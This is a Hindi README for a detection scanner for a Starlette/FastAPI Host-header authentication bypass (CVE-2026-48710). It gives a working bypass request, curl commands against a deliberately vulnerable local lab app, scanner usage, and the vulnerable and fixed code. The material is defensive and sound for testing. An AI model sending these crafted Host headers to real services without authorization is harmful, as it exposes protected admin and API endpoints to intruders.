
CVE-2026-48710 के लिए डिटेक्शन स्कैनर - Starlette/FastAPI में होस्ट-हेडर प्रमाणीकरण बायपास
केवल पहचान के लिए स्कैनर BadHost प्रमाणीकरण-बाईपास के लिए Starlette / FastAPI में — जहाँ प्रमाणीकरण मिडलवेयर request.url.path पढ़ता है, request.scope["path"] के बजाय, जिससे एक क्राफ्टेड Host हेडर अनुमत पथ को तस्करी करके प्रमाणीकरण बाईपास कर सकता है।
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sees request.url.path == "/health" → allowed
# ASGI still routes to /admin → bypassed
प्रभावित: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
ठीक किया गया: Starlette 0.46.2+ में
https://host/path) — पथ स्वचालित रूप से प्रोब के रूप में निकाला जाता हैHost और X-Forwarded-Host दोनों कैरियर्स, दो पेलोड रणनीतियों का परीक्षण करता है--preset ai) और MCP (--preset mcp) एंडपॉइंट के लिए अंतर्निर्मित प्रीसेट--json, --csvbadhost_vuln_lab/)स्थानीय सत्यापन के लिए दो FastAPI ऐप्स के साथ आता है:
| ऐप | URL | प्रमाणीकरण पढ़ता है |
|---|---|---|
| असुरक्षित | http://127.0.0.1:8000 | request.url.path — बाईपास किया गया |
| सुरक्षित | http://127.0.0.1:8001 | request.scope["path"] — सुरक्षित |
cd badhost_vuln_lab
docker compose up --build
या बिना Docker के:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalidलेखन विधियों के लिए{}भेजता है — प्रमाणीकरण बाईपास के बाद एंडपॉइंट को निष्पादित किए बिना FastAPI422ट्रिगर करता है।baseline=403 test=422परिणाम अभी भी एक SUSPECT खोज है जिसकी जाँच योग्य है।
प्रोडक्शन पर--openapi-body-mode minimalका उपयोग न करें — यह वैध अनुरोध निकाय बनाता है जो लेखन एंडपॉइंट को निष्पादित कर सकता है।
केवल CONFIRMED और SUSPECT आउटपुट में दिखाई देते हैं। एग्ज़िट कोड 2 = CONFIRMED, 1 = SUSPECT, 0 = स्वच्छ।
# Vulnerable
if request.url.path.startswith("/public"):
...
# Fixed
if request.scope["path"].startswith("/public"):
...
Starlette 0.46.2+ / FastAPI 0.116.0+ पर अपग्रेड करें।
केवल अधिकृत परीक्षण के लिए। केवल उन सिस्टम को स्कैन करें जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति है।
| निर्णय | अर्थ |
|---|
CONFIRMED | बेसलाइन 401/403 → परीक्षण 2xx. असुरक्षित. |
SUSPECT | बेसलाइन 401/403 → परीक्षण 404/405/422. प्रमाणीकरण गेट बाईपास होता दिख रहा है; मैन्युअल रूप से सत्यापित करें। FastAPI से 422 विशेष रूप से महत्वपूर्ण है। |
REJECTED | प्रॉक्सी ने बाईपास से पहले गलत फॉर्मेट वाले Host को अस्वीकार किया (400/421) |
BLOCKED | क्राफ्टेड अनुरोध अभी भी अस्वीकृत |
OPEN | पहले से बिना प्रमाणीकरण के सुलभ — यह CVE नहीं |